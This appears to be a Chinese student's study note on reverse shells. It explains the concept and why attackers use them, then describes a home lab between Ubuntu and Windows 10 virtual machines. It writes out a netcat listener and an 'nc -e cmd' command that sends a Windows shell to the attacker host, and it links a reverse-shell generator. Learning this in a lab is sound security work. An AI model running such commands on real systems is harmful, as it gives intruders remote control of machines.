参考文章:https://cloud.tencent.com/developer/article/1818091
一些概念
原理:
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
将权限从一个地方移植到另外一个地方
正向连接:
攻击者在自己的机器上去连接目标主机。远程桌面、web服务、ssh、telnet等等都是正向连接
反向连接:
目标主机去主动连接攻击者自己的主机(受害者主机主动找攻击者主机)
为什么需要反弹shell?
解决数据回显和数据通信这两个问题
数据回显
打个比方,我去利用工具去让服务器执行一条命令,但是我不知道我这个命令到底有没有被执行成功。在渗透测试的绝大部分环境中,是没有数据回显的。我去执行一条下载命令,它可能是不会提醒我说文件下载成功。
数据通信
对于一些交互式命令,我输入一条命令,它会回复我下一步该输啥,但是我可能面临看不见它回复啥的问题。
反弹shell的适用情况:
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求
上课时老师提过,一般而言防火墙的入站规则比较严格,不能随便允许外人进入/访问,但是它的出站规则比较简单,一般比较宽松。可以联想一下小兔子乖乖把门开开的故事来理解
- 目标机端口被占用
- 目标机位于局域网,或IP会动态变化,攻击机无法直接连接
举个例子,内外网,在内网中会有n台设备共同使用一个ip地址(公网ip)作为数据流量的出口,我可以在内网中去输入外网服务器的ip访问外网中的服务器,但是外网的服务器却无法通过我内网出口的这个ip地址去找到我这台机器,因为这个ip地址下有n台设备共用这个ip地址。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
2,3,4不能理解,日后再说
实战
反弹shell的实现方式有很多,可以因地制宜进行操作。具体可以参考最上面的文章。
介绍一个工具,可以帮助我们生成反弹shell命令
https://forum.ywhack.com/reverse-shell/
使用的两台机器分别为ubuntu,和win10,都运行在虚拟机中,处于同一个内网中。
1.在ubuntu中主机中监听8888端口
nc -lvnp 8888
2.查看ubuntu主机的ip地址
ifconfig
3.在win10主机中将cmd命令权限移交给ubuntu主机
nc -e cmd 192.168.12.137 8888
4.回到我们的ubuntu主机,看看它监听到没有
看来是监听到了
5.在ubuntu主机中输入ipconfig
命令,看一看win10主机的ip地址信息
6.实验结束